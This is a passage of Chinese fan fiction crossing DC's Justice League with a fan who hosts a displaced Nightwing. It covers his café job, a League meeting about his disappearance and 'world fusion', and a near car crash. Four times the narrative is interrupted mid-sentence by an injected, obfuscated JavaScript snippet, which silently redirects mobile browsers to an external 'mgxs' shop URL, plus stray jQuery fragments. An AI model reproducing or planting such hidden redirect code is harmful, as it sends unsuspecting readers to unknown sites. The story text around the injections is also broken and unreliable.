迪克还是第一次吃这个,谨慎地咬了一口,评价是有点像咸口味的贝果。 我看着手里的面窝,抛开那些发酵的过程不谈,面窝的形状确实跟贝果有几分相似,都是中间镂空的圆圈。 “那很香了。”我咬了一大口,脆脆的外皮在我的嘴里碎裂,嘎吱嘎吱的好吃的很。 在我们吃面窝的时候,天色也渐渐黑了下来,街上的人流量逐渐增多,我看着到处都是吆喝贩卖的声音和来往行人的笑闹声,余光瞥见迪克也静静地看着这一幕。 “走吧,我们去玩点别的。” 我小心地拎起我的裙摆,今天炎热的天气让我直接放弃了穿裤子的打算,但裙子也着实是有点麻烦,我坐在哪的时候都得小心不要让裙子落到地上蹭脏。 “等一下。”迪克突然叫住我。 我不明所以的回过头,就看见他在我面前急速放大的脸。 等等,为什么一下子要凑这么近!? 我下意识地就想躲,却被迪克一手按在了肩膀上,另一只手从我的发梢上摘下来什么。 “好了。” 迪克有点忍俊不禁,将摘下来的东西给我看,“看得出来你确实很喜欢吃这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998813|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个了,连你的头发都很喜欢。” 我看着那块面窝上掉下来的碎渣,脸上的热度一下子爆炸了。 等等,所以我刚才就是顶着面窝渣在跟迪克说话吗!? 不对,这玩意怎么上去的啊? 我大脑宕机了一瞬,怎么都想不明白为什么面窝渣子会出现在我的头发上。 算了,想不明白就不想了。 在迪克面前丢脸又不是这一次了,我已经看淡了。 随着一声锣鼓响,我和迪克的注意力都被吸引了过去,紧随其后的乐声铿锵不绝,我不知道那是什么曲子,但非常有穿透力,迪克侧耳听了一会,非常肯定地确认了音乐声传来的方位。 “那里,要去看看吗?”他指着一个方向。 我立刻精神起来,想起这个活动里会有的打铁花,说不定现在已经准备开场了。 “走这边。”迪克迅速找到一条人流相对稀少的道路,带着我灵活地穿行,他看起来比我还要熟悉这里似的,展现出了极其强悍的洞察力和行动力,每一次都能精准的找到合适的落脚点,让我们两个不必像沙丁鱼罐头里的沙丁鱼一样在人群里挤成可怜的肉饼。 我对他这样精准的身法叹为观止,之前看漫画的时候就忍不住为夜翼在建筑物之间挪转腾移的灵巧身形感到惊叹,现在亲眼见到之后也依旧会觉得不可思议。 拐过一条相对僻静的巷子,我们终于得以喘一口气,主要是我实在有点跟不上迪克的步伐,他的速度太快了,我想要跟上他不得不使出更多的力气。 迪克松开拉着我的手,担心地弯下腰看着蹲在地上大喘气的我,“你还好吗,安,抱歉,我是不是跑得太快了?” “没,没事。” 我觉得我现在像是极速短跑了个一百米,心脏都跟着在怦怦乱跳。 尽管如此,这种被人带着毫无顾忌向前奔跑的感觉,真的好极了,我甚至想要再来一次。 空气中传来燃烧的气味,随着一阵人群噪杂的喧闹声响起,噼里啪啦的声音穿透了小巷,传入我的耳中。 “要开始了!” 我一下子就觉得不累了,拉着迪克向着最终的目的地跑去。 拐过由一道牌匾遮掩住的拐角,我终于看到了活动场地的全貌。 原本这里应该是一个小广场,在商业街逛累了的人群都会在这个小广场聚集休息,逢年过节的时候这个小广场就会成为各种活动的场地。 此时的小广场已经聚集了一圈人,围着中圈的那道身影欢呼雀跃。 我悄悄凑近迪克,“你挤得进去吗?” “看我的。”迪克wink了一下,信心满满地应答,他拉着我再次灵活走位,很快就突破层层叠叠的人群来到了最前面。 就在我们到达的同时,工作人员将手中的铁板和铁锤狠狠敲击在一起。 漫天的金色飞屑溅落,尤如繁星落入银河,星屑哔啵作响,将所有人的眼睛都照亮成琥珀色。 人群爆发出剧烈的欢呼声,声音如同汹涌急波,浪涛翻滚着向前,我在这浪潮里看向身侧的人,恰逢迪克也侧着头看过来,对着我大声说了什么。 11. 011 瞭望塔,中控室。 今天的轮值英雄是闪电侠巴里·艾伦和沙赞,两个大男孩凑到一块在中控室打着牌,巴里今天手气绝佳,沙赞的脸上已经贴满了纸条。 “你有没有觉得这两天蝙蝠怪怪的?” 打牌的空歇,巴里一边把新的纸条贴到沙赞脸上,将讨论的话题转移到了正义联盟首席顾问的身上。 “是吗?我怎么没感觉到。” 沙赞挠挠脸,总感觉这些纸条贴在脸上有点痒,闻言他茫然地回想了一下这两天蝙蝠侠的行为举止,好像是有点......不高兴? 两个人对视一眼,都有点疑惑。 这两天哥谭风平浪静,稻草人跑出阿卡姆一日游之后很快就被罗宾绑了回去,谜语人和杀手鳄这两天都老老实实在窝里缩着,企鹅人和黑面具正在被红头罩追着打,小丑忙着应付小丑女的追爱,没空去找蝙蝠侠麻烦,哥谭看起来一切正常。 那会有谁惹蝙蝠侠不高兴了呢? 难道是又跟超人吵架了? 不应该啊,他们俩不是经常吵架吗,吵完了又很快和好,绝对不留隔夜仇。 所以应该也不是超人。 也不太可能是神奇女侠,这两天神奇女侠回天堂岛探亲去了,根本不在正义联盟。 那就只有一个原因了,问题出在蝙蝠侠家里那群小鸟们身上。 “沃利没跟我说夜翼和蝙蝠又吵架了啊。”巴里丢开牌,他又饿了,抱着一边吃了一半的薯片继续吃,含糊地发表自己的猜测,“或许是罗宾又带着超人家那小孩一起去闹出大动静了。” 沙赞摇摇头:“蝙蝠不会因为这种事情生气,他只会在罗宾闯祸之后拒绝让他夜巡。” 他在巴里的薯片袋里拿了几片塞进嘴里,“烤肉味的?好吃,下次帮我也带几包。” “没问题,兄弟。” 巴里嘴巴鼓鼓囔囔,费力地咽下去。 “不过你应该没有注意到,夜翼已经两天没来瞭望塔了,原本昨天应该是他来值班的。”沙赞补充。 巴里睁大了那双眼尾微微下垂的眼睛,看起来就像是发现狗盆里装的是兔粮而不是狗粮的小狗。 他惊讶地去看不远处墙壁上贴着的值班表,一秒钟后他坐回椅子,“怪了,夜翼基本不会不打招呼就失踪,这一点他做的比蝙蝠家其他人好多了。” 显然,正义联盟的超级英雄们都已经习惯了蝙蝠侠一系的英雄神出鬼没的行为模式,并对夜翼的贴心感到欣慰。 “你太迟钝了,小熊。” 一个声音从中控室另一端的传送器旁响起,两个人都回头看过去,绿灯侠哈尔·乔丹正从传送器里走出来。 “嘿,天才,你的任务结束了?这次准备待几天?”巴里有些惊喜的问,随即他又想起哈尔刚刚说的话,连忙问道:“为什么要说我迟钝,我可是flash。” 沙赞在旁边笑了一下。 “这几天暂时没什么事了,就回地球看看,待几天得看哪里又出了问题,至于你的问题嘛......” 哈尔一屁股坐在主控台旁边的转椅上,拧开一瓶可乐对着巴里眨眼睛:“你没有发现钢骨这两天也没有来吗?” “老天,我真没发现!” 巴里又闪现去看了一遍值班表,发现钢骨这两天果然没有来瞭望塔,按理来说钢骨作为瞭望塔的常驻英雄,轻易不会离开瞭望塔的。 一般没什么事情的时候钢骨都会在瞭望塔属于自己的房间里休息和整理资料,所以巴里一直都没有想起他来。 沙赞也有些惊讶,他还以为钢骨一直在瞭望塔待着呢,只是没有来中控室罢了。 “怎么,他去哪里了?” 哈尔指了指地球。 “如你所见,蝙蝠侠和钢骨在一起讨论怎么把失踪的夜翼找回来。” “夜翼失踪了!?” “又有别的地球入侵了?!” 失声喊出来的巴里和有些讶异询问的沙赞对视,都在脑袋上冒出一个大大的问号。 兄弟,你这问题问的不太对吧? 哈尔将喝空的饮料瓶扔进垃圾桶,被面前两个人的样子逗得哈哈大笑。 “夜翼无缘无故缺席肯定是失踪了啊。”沙赞不理解巴里为什么这么吃惊。 “夜翼失踪跟地球被入侵有什么关系啊!”巴里也不明白沙赞究竟是怎么把这两个事情联系到一起的。 “好了小熊,沙赞是对的。”哈尔捂着被笑痛了的肚子,“我今天从总部回扇区的路上碰到了荣恩,他说感知到了地球有一部分人的内心出现了一瞬间的空白。” 就在巴里仍旧露出迷茫的神色时,沙赞已经用他所罗门的智慧理解了这句话背后的含义。 “你的意思是,这一次的入侵是从普通人身上开始的?” “不好说。”哈尔摩挲着灯戒,思忖着该如何去形容荣恩给他展现的一些场景:“他们看上去就像是这个世界的人一样,没什么区别。” 这话说的很没头没尾。 沙赞顺着他的话说了下去:“看来我们又要准备迎接异时空来客?老天,希望这次别是辛迪加之类的,我受够看到自己的同位体各种花式死法了。” 他轻声抱怨着,每次看到其他地球的英雄同位体不是黑化强三分就是一直坚守阵营,到了他这里不是开局被ban就是被骗叫沙赞恢复小孩体型然后同样被ban,连黑化的机会都不给。 就算他是唯一一个未成年就加入的正义联盟成员,也不能总是这样受欺负吧。 黑亚当真的要嘲笑他锁了门的智慧了! “放轻松点沙赞,我们都知道你是最聪明的超英之一。”巴里安慰了一句沙赞,然后开始说自己的地狱笑话:“讲道理,难道作为闪电侠的我同位体就好到哪里去了吗?没有,他们只会让我不停的奔跑,奔跑,阵营转换黑化什么的跟我无缘,死也死不掉,跑也跑不赢。” 这下谁都不说话了,因为真的很地狱。 “嘿,伙计们,现在不是卖惨大会的时候。”总是在平行宇宙被忽略成为团灭炮灰的哈尔满不在乎地笑笑,“难道你们就不好奇为什么是夜翼第一个失踪吗?” 两双大眼睛齐刷刷看向他,露出了渴望获取最新消息的目光。 可是没等哈尔说出来,旁边的传送器里又传来人声。 “下午好伙计们,你们在干什么?” 三个人转过头看去,经典红蓝配色的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998814|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 超人克拉克·肯特从传送器里走出来,他身侧跟着绿箭侠奥利弗·奎恩,这两位英雄脸上的表情并不怎么轻松,于是哈尔也很有眼色的住了嘴。 “我们在讨论夜翼失踪的事情。”沙赞第一个开口回答正义联盟主席的问题,他看到绿箭侠站在超人身后对他们比了一个口型,然后飞快地在超人身后比了一个手势。 巴里发出一声气音。 “好吧,原来你们已经知道这件事了。”超人余光瞥见绿箭侠的小动作,好脾气的没有计较,“我和绿箭正是为了这件事而来的,我们要有麻烦了,大麻烦。” “蝙蝠呢?他还跟钢骨在一起吗?”巴里嘴快地问出声。 “是的,蝙蝠已经在跟钢骨搜寻夜翼所在位面的波段了,我想夜翼作为一个成熟的超级英雄,也会在恢复意识的第一时间选择发送联络信号。” 超人顿了顿,那双永远温暖明亮的蓝眼睛里流露出几分隐忧:“我现在唯一不确定的就是这件事发生的原因,我们没有找到源头。” 哈尔用绿灯戒给他们变出一个大沙发,两个人坐下他才开口:“别担心,主席,我们有蝙蝠侠呢。” 沙赞在一旁听得欲言又止。 您完全放空大脑了是吗? 巴里也赞同哈尔的言论,他也觉得只要有蝙蝠侠的存在,正义联盟就根本什么都不怕。 “好吧,你说得对。”超人也跟着笑了起来,眼睛里的忧色减轻了几分。 看透一切的绿箭侠跟沙赞对视一眼,对这种完全将大脑托付给蝙蝠侠一个人的行为很是无语。 “不过我和绿箭来这里是准备开一个会议,我已经通知了女侠和鹰女她们,海王和火星猎人过一会来,扎坦娜和康斯坦丁也会加入这次会议,只不过他们不会来瞭望塔,钢骨会给他们远程会议的权限。” “我可真希望康斯坦丁别来。”沙赞脸上的表情淡了下去,“他真的不会把事情弄得更糟糕吗?” 作为同为魔法侧的英雄,沙赞不太喜欢康斯坦丁专搞歪门邪道的行为作风,不过他对康斯坦丁本人没意见,真的。 “兄弟,别这样。”巴里笑嘻嘻地拍拍沙赞的肩膀,他不太熟悉康斯坦丁,只知道他是个比较风流滥交的浪荡子,不过既然蝙蝠侠同意了康斯坦丁的加入,他也没有意见。 沙赞不再对康斯坦丁的加入发表任何看法。 于是哈尔跟巴里凑在一块叽叽咕咕地交流康斯坦丁的各种八卦,把巴里说的一愣一愣的。 超人与绿箭侠对视一眼,绿箭侠低声询问:“蝙蝠那边怎么说?” “他说要等到会议开始之后再讨论这件事情,目前红罗宾已经去布鲁德海文帮夜翼看场子了。” “不是红头罩?”绿箭侠有些惊讶。 “法外者还在外太空飘着,夜翼失踪那天红头罩刚刚约了阿尔忒弥斯和军火库去了贝塔星做任务。”超人也有点迷惑,看向绿箭侠,“你儿子的事情,你居然不知道吗?” “呃。”绿箭侠挠挠头,一缕金发从兜帽里漏了出来。 他还真不知道,罗伊·哈珀又双叒叕把他拉黑了。 “父亲,哈?”超人无奈地摇摇头,想到自己家的那几个孩子,也叹了口气。 12. 012 蝙蝠侠和钢骨赶在会议开始前的一分钟踏入会议大厅,两个人从面上都看不出多少情绪,但在场的所有超级英雄们都不约而同地放低了互相交谈的音量。 在来之前,大家都已经知道夜翼失踪的事情,这会蝙蝠侠的心情绝对好不到哪里去。 超人拯救了大家,勇敢的站了出来。 “bat,事情怎么样?” 钢骨沉默着路过停下来的蝙蝠侠,回到属于自己的座位上,他的旁边挨着火星猎人荣恩·荣兹,同样也是一位秉性较为安静的超级英雄,在钢骨坐下之后,轻声道,“融合已经开始了。” 钢骨将手臂上的虚拟光屏投射到大屏幕上,闻言转过头去看他,属于人类的那只眼睛流露出几分隐忧,他摇了摇头,“目前并没有确定那是否是真正的融合,我更倾向于认为他们被替换了。” 同位体替代,这件事大部分超级英雄都经历过,不是什么新鲜事。 这一次的事情并没有率先发生在超英们身上,而是出现在普通人中,如果不是火星猎人偶然中探查到,或许他们根本无法及时知道这件事情。 而就在火星猎人探查到那几个人变化之后的第二天清晨,夜翼从自己的安全屋内消失了。 蝙蝠侠作为世界第一侦探,很轻易地就判断出夜翼消失的地点以及消失时的状态,屋内没有任何打斗过的痕迹,略显凌乱的床铺昭示着前一天晚上这间屋子的主人还在这里睡着,他失踪前甚至什么都没穿。 这意味着夜翼无法在陌生的地方使用自己配备的道具,这很被动。 “钢骨并没有扫描到任何可能是夜翼发送的宇宙坐标,合理推测他所处的地方科技水平不高,至少没有到达本世界的标准。”蝙蝠侠站在会议桌的前方,低沉沙哑的声音平静阐述着他与钢骨研究了一个下午的部分成果。 “有没有可能夜翼正在被胁迫中?”闪电侠试探性地发表自己的疑问。 蝙蝠侠没有肯定也没有否认,在他的示意下,钢骨联通了与扎坦娜和康斯坦丁的通话。 “下午好女士们先生们,我是魔术师扎坦娜,他是法师康斯坦丁。”扎坦娜轻快的声音从屏幕中响起,她身处的位置大概是某个帐篷里,看起来是在巡演途中接到联络的。 她身旁站着叼着烟的男人,金发如枯草般凌乱地歪斜着,不怎么修边幅,苍白的面容上显现出几分病态的蜡黄,标志性的长款风衣空荡荡地挂在身上,身形比屏幕前的大部分超级英雄都要瘦削许多,他就是扎坦娜口中介绍的法师康斯坦丁。 他们都隶属于黑暗正义联盟,所以并没有直接进入瞭望塔,而是作为顾问加入正义联盟的会议。 闪电侠悄悄地戳了戳旁边海王的胳膊,“老天,他看起来像是生病了。” 海王左右看了看,确定没人注意这边,也挪过脑袋跟巴里嘀咕:“我敢打赌,他绝对在生病!” 真令人同情。 不过这种说小话的行为很快就被发现了。 两个人在对面神奇女侠的扫视下迅速地坐好,不敢再交头接耳。 屏幕里的扎坦娜正在汇报自己观测到的魔法信息,“......关于那几个人的身体情况,我和康斯坦丁都做了大致的检查,并没有从其中检测到魔法的痕迹,他们的意识正常,行为也没有出现异常,初步排除了魔法侧的活动。” 康斯坦丁接上了扎坦娜的话,“我们并不能确定魔法是否只作用于个体的人,但如果不是,那么范围就太大了,施展这种魔法所需要的能量根本不可能是地球目前现有的资源能做到的。” 他这样说着,将手里拿着的东西展示给正义联盟的诸人,“而不幸的是。” 康斯坦丁笑了,“在我们按照这个根本不可能的思路去查探魔法痕迹的时候,居然真的发现了魔力回路,这很疯狂,但这件事确确实实发生了,有个疯子在用一整个地球做实验,牠居然还成功了。” 满室哗然。 有同为魔法侧的超英不可置信地大声道:“这不可能,这么大范围的魔法回路根本不可能完成,除非那个人直接抽干了一个星球的能量——” 声音戛然而止。 那位超英的喊声就像是被猛然掐住的鸭子一样断在喉咙里,她意识到什么似的,坐在自己的位置上倒抽了一口冷气。 当然,不光是她,会议厅内响起了此起彼伏的抽气声。 “稍安勿躁,诸位。”扎坦娜的声音不疾不徐地通过传声器传达到每一个人的耳中,“好消息是,我们并不用担忧地球的能量被这一次的融合彻底抽空,坏消息是,我们不确定是哪一个世界的地球。” 绿灯侠还是忍不住了,他凑到闪电侠耳边吐槽,“不愧是大魔术师,哈?她真的好会开玩笑。” 闪电侠很想笑但不敢笑,他不敢有大动作惊动对面的神奇女侠,只好捂着嘴,嘴唇翕动:“别这样,天才,我要是现在笑起来会被所有人行注目礼的。” 坐在神奇女侠身侧的绿箭侠低声抱怨,“他们两个就非得在这种场合像个坐不住的多动症问题儿童一样吗?” 将一切尽收眼底的神奇女侠瞥了一眼对面窃窃私语的两个人,眼底划过一丝笑意,“放轻松点,奥利,这个年纪的年轻男孩总是这样不分场合的跳脱,你年轻的时候不也是如此吗?” 这就涉及到黑历史的问题了,绿箭侠闭口不言。 超人站了起来,双手撑住会议桌。 “诸位稍安勿躁。”他的目光扫视四周,与无数双眼睛对视。 “这次会议是一场交流信息的会议,也是一次动员会议,在座的每一位都有自己守护的区域,请及时搜寻并帮助那些出先异常的普通人,包括身边认识的同伴和亲友。” “每一个人都有可能被替换,我们需要保持警惕,时刻保持与三人以上超英的联系,钢骨和火星猎人会随时支援你们。” 超人看向坐在左首位的蝙蝠侠,他依旧保持着一如既往的沉默姿态,但多年搭档下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998815|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来让超人能够轻易地分辨出此时蝙蝠侠的情绪。 蝙蝠侠在超人看过来的同时也开了口:“瞭望塔内会更新实时数据资料,一应资源会分配到位,被替换人员的外貌以及各类特性会同步上传到资料库,所有参会人员都可以查阅。” 神奇女侠颔首,“我这次回去之后会排查我的族人,以及确保母盒的安全,不仅仅需要做好世界融合的准备,还需要提防达克赛德卷土重来。” 她看向对面的海王,这一次会议亚特兰蒂斯只来了海王一个人,海后湄拉则是留在亚特兰蒂斯坐镇,用以防备黑蝠鲼作乱。 世界融合包括了方方面面,亚特兰蒂斯和亚马逊人都无法避免,在敌我未明的情况下,所有隐患都必须排除。 海王注意到神奇女侠的注视,立刻意会了她的意思,“我知道了,回去之后我会让湄拉来跟你详谈。” 毕竟亚特兰蒂斯也保存有一枚母盒,荒原狼虽然已经被击败,但达克赛德麾下不仅仅只有荒原狼一位。 难保祂不会在意识到什么之后选择趁虚而入。 绿灯侠也很快表态,他今天就准备结束休假去巡逻地球所在的几个扇区,作为第一道警戒线。 每个超英都逐一接取了各自地盘的任务,他们都对这样的安排没有任何异议。 至此,算是会议结束。 超英们陆续散场,他们都有自己的事情要做,没有时间在瞭望塔多做停留,蝙蝠侠也是如此,他此时心中还在思考关于空间维度的事情,在踏入传送器的前一秒,钢骨叫住了他。 “bat,你应该来看看这个。” 两个人沿着瞭望塔内的通道一路向着深处走去,钢骨为蝙蝠侠展示了手中的屏幕。 “从这里,到这里,有一小片空白区。”屏幕上面遍布密密麻麻的红色标记,那都是从宇宙中探测到的未知信号,大部分都是从非常遥远的星系或是从另一个位面传来的,但唯有一小片区域白的刺眼。 蝙蝠侠能够建造出先进于科技平均水平的蝙蝠电脑,自然知道那一小片空白代表着什么。 “高维空间。”钢骨说,“如果没有意外,夜翼现在很可能就在这里,从昨天起,这一小片区域就在探测器里闪烁,但是从刚刚开始,这片空白就像是癌细胞一样迅速扩散到这个大小。” “夜翼发出的信号被那片空间屏蔽了,或许是碰到了次元墙。”蝙蝠侠面容放松了些许,至少现在他们已经知道夜翼还活着,有余力给他们发送联络信号。 钢骨点开那一片空白区域的坐标,将早已准备好的讯息发送了过去。 对于高等维度来说,低等维度的信号传送更加困难,但钢骨还是决定试试。 与此同时,位于东方的某个居民楼的次卧里,安静放置着的笔记本电脑突然闪烁三下,原本井然有序的数据流突然在一瞬间紊乱,最后渐渐汇聚成了一小段英文句子。 在三下闪烁结束后,整个屏幕彻底熄灭,恢复了平静。 13. 013 逛完街的第二天,迪克决定出门去找个兼职。 我计算了一下这个月的稿费,觉得他这个黑户大可不必如此勤劳,吃几顿饭的钱而已,我还付的起,况且迪克既然住在我家就是我的客人,哪有让客人付钱的道理。 更何况我不知道一个黑户该怎么找兼职,真的不会被当成偷渡的抓起来吗? 不过迪克还是在短短半天的时间里成功找到了一个咖啡厅服务员的工作。 我大为震撼。 “你是怎么绕过那些简历和身份证明之类的东西应聘成功的?” “这很简单,我站在店长面前说我来应聘,店长看了我一眼就同意了。”迪克将外套穿在身上,拿上我给他的备用钥匙。 我上下看了一眼迪克的穿搭,他目前穿的衣服都是我在商场里买的,搭配上相当优秀的建模,硬是把一些常规款穿出了定制的范。 这么一看,确实是鹤立鸡群的帅小伙。 但是什么咖啡厅只看颜值不看简历啊。 “那你路上注意安全,算了,我还是跟你一块去吧。” 我有点不放心迪克独自一人出门,毕竟他在这里人生地不熟的,还语言不通,要是被骗了该怎么办。 虽然这只是我对大蓝鸟的滤镜,迪克也绝不会是轻易会被骗的人。 迪克并没有拒绝我的跟随,他看上去还有点高兴。 于是当我控制不住好奇心跟着迪克一块去他工作的咖啡厅时,就被他穿着一身服务员制服震撼到说不出话。 “你怎么没告诉我咖啡厅服务员还要戴猫耳啊!”我崩溃地以头抢地。 我对不起布鲁斯啊,他儿子在我这里戴着猫耳当萌宠服务生啊! 这果然是被骗了吧,都出来贩卖男色了,怪不得咖啡店店长一见迪克就同意他入职了! “很难看吗?我觉得还挺可爱的。”迪克看着我一脸崩溃的样子,疑惑地抬起手摸摸头顶质感还不错的黑色猫耳,微长的黑色卷发柔顺蓬松地垂落在耳边,小麦色的皮肤光滑又富有弹性,看起来真的像一只油光水滑的大黑猫。 我屏住了呼吸,一时失语。 紧接着,迪克就弯下腰来。 “喵,客人需要点些什么?”他笑眯眯地一手抱着菜单,一只手虚握成拳,在脸边晃了晃,用生疏的中文询问。 我:“......” 猫男,是猫男。 我发誓我灵敏的耳朵听到了隔壁桌倒抽冷气的声音,为全球气候变暖增添了可怕的功绩。 出门偶遇哥谭出品黑发蓝眼猫男,颜值高会卖萌,业务熟练强如怪物,拼尽全力无法战胜。 不是你为什么卖萌卖的这么熟练啊!罗宾培训里不包含这一项吧! 我突兀地想起某次在粮仓里看到有产粮太太画的猫女助手Dick,穿着猫女同款猫耳套装跟在猫女身后灵敏地穿行在哥谭的大街小巷里。 人的道德底线就是这样一步步降低的,我飞快的屈服在猫耳版本迪克的诱惑之下,脸颊发烫地拿起手机。 “可以合照么。”我从心地问。 “当然,你可以对我提出任何要求。”年轻俊俏的服务生将脑袋凑过来,看起来一点也不为脑袋上带了个萌物而感到羞耻,反而跃跃欲试地想要跟我同框,为此甚至伸出手揽住了我的肩膀。 “咔嚓”一声,照片定格,我获得了迪克来到这个世界之后与我的第一张合照,限定·猫耳夜翼。 照片里的迪克笑的格外灿烂,微微眯起的眼睛反射着太阳的光,这让眼睛里的蓝色变得不那么纯粹,却依旧晶莹剔透,像是阳光下耀眼夺目的电气石。 我不行了,这对我的眼睛太好,但对我的心脏不太好。 我含泪点了一块咖啡双色慕斯蛋糕和一杯焦糖拿铁,迪克给我端来之后就继续去干活,而我吃着蛋糕,打开平板开始构思新作的剧情。 然而构思着构思着,我的手就忍不住打开了绘画软件。 猫耳限定夜翼,不画出来对不起正主亲自上阵摆拍啊,这么伟大的画面我一定要跟全世界的同人女分享。 创作灵感来了止都止不住,就在我终于心满意足地将画出来的作品上传到社交账号的时候,一转眼就看见手机上闺蜜给我发了消息。 [老马啊怎么办啊]:你快看班级群。 [老马啊怎么办啊]:熊猫探头.jpg 这女人怎么又换昵称了,老马又是谁? 我思绪一打岔,顺着闺蜜的消息打开了许久都没有动静,还被我给消息免打扰了的班级群。 我毕业已经接近一年,班级群从最开始时不时还有几个消息冒出来,到现在根本没人说话,每个人都在时间的流逝中越走越远,都各自有了崭新的生活轨迹。 所以这次班级群居然有了消息,我还是感觉挺意外的。 班级群此时热闹极了,无数消息不断跳动着向上划去,我划了半天才看到最上面的消息,是原先的班长发的消息,她在班级里的人缘一向很好,发的消息基本都会有人回应。 这次班长发的消息是询问要不要举办一个同学会,毕竟已经毕业快一周年了,大家互相都挺想念的。 紧接着下面就是好几个比较活跃的同学回复的消息,无一例外都是支持的,仅有一两个同学说目前身处国外没办法回去,不过态度还是表现得很想去的样子。 群聊消息一条接着一条,让人看的眼花缭乱,我艰难地在其中翻到了闺蜜发的消息,她也同意去同学会。 我跟闺蜜是从小一起长大的发小,从穿开裆裤开始就在一起玩,后来又一块上了幼儿园,小学一直到大学都报考的一个大学,甚至分班都分在一起,算是这辈子都分不开的缘分。 所以这会既然闺蜜表态要去,那我肯定也要去,我们两个在上学的时候和班长的关系都很不错,就算是给班长捧场子也应该去,最多也就是跟老同学去吃顿饭,唱唱K,不费什么事。 于是我很快回复消息,并在群文件里填上了自己的名字。 下午的阳光透过咖啡厅内半遮半掩的竹帘,落在我摆放在咖啡桌的平板上,反射出刺目的金色光晕。 放下手机,这才惊觉自己已经在咖啡厅消磨了大半天的时光。 我下意识地向周围看去,想要找到迪克的身影,见到他熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16998816|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 练地在桌椅间穿行,服务态度超级优秀地谈笑风生,每个客人脸上都带着笑容,就知道他对目前这份工作绝对是游刃有余。 我之前的担心完全是多余的。 既然如此,我还是不要打扰他工作了吧。 将东西收拾好,我悄悄地走出咖啡厅,热风扑面而来,带走了身上被制冷空调吹出来的寒气,街边行人都是行色匆匆,急于躲避天上正不断散发热量的太阳。 迪克打工的这家咖啡厅距离我家小区并不算远,只需要过一条马路就可以到小区门口,我赶到路口的时候绿灯还有三十多秒,足够我穿越人行横道到达对面。 在我旁边的是一个带着小孩的中年女人,她拉着小孩的手,急匆匆地就想要走过人行横道,我慢了她半拍,跟在她身后一脚踏上斑马线。 就在此时,异变突生。 剧烈的刹车声从我的右侧传来,轮胎极速摩擦地面的声音格外刺耳,我突兀地感受到一阵心悸,与此同时我的余光瞥见一辆白色suv轿车正以肉眼无法捕捉的速度向着人行横道猛冲而来。 中年女人的反应比小孩快一点,她已经看到了即将撞上来的车子,却像是腿软了一样站在原地动弹不得。 “小心!” 来不及在做思考,我的身体本能已经让我伸出手去,一把扯住中年女人和孩子就往后退去,后脚跟磕在马路牙子上,我站立不稳,一屁股坐在了地上,连带着被我拽着的一大一小滚成一团。 汽车呼啸而过,几乎是一瞬间,我像是福至心灵一般从翻滚的间隙抬起头去。 那车窗的反射中,我看到了一张惨白如鬼的面庞。 “轰隆”一声巨响,失控的汽车撞上了路边的围栏,伴随着周围人群的尖叫声,我呆坐在原地,惊魂未定。 中年女人摔了个七荤八素,但也反应过来是我救了她,抱着放声大哭的孩子连连向我道谢,脸上依旧残存着劫后余生的后怕和感激。 但我已经无力去听中年女人的感激之语,因为我再一次地从对方的眼睛里看到了那张惨白的脸。 “安!” 熟悉的呼唤声唤回了我的神智,我勉强露出一个笑容,让这个可怜的母亲赶紧安抚一下孩子,随后我从地上爬了起来,抬头就看到迪克匆匆跑来的身影。 他奔跑的速度极快,一眨眼的功夫就跑到了我身边,似乎是注意到了我脸上有些仓惶的表情,他的神情立刻就变了。 在温热的手掌附上我的双眼之前,他清亮的声音也变得有些低沉。 “别看。” 我的眼睛被他宽大粗糙的手掌牢牢覆盖着,我嗅闻到了一股夹杂着咖啡与蛋糕的甜香,这种气味使得我原本狂乱不安的心逐渐平复,下一秒,我推开迪克的手,胃里翻江倒海。 那是什么? 我不得而知。 但冥冥之中却有一道声音告诉我,我前二十多年平静安逸的人生即将因为这场跨次元的奇遇被打破,危险正在逐渐迫近。 而我居然感觉到一阵令人心悸地颤栗。 或许我以后真的可以写一本纳尼亚传奇了。 想想还有点小激动。 14.014 警车呼啸而至,我打了个激灵,立刻将迪克往咖啡厅里推。 这还有个黑户呢,万一帽子叔叔来了带相关人士回去做笔录我该怎么给他圆谎? 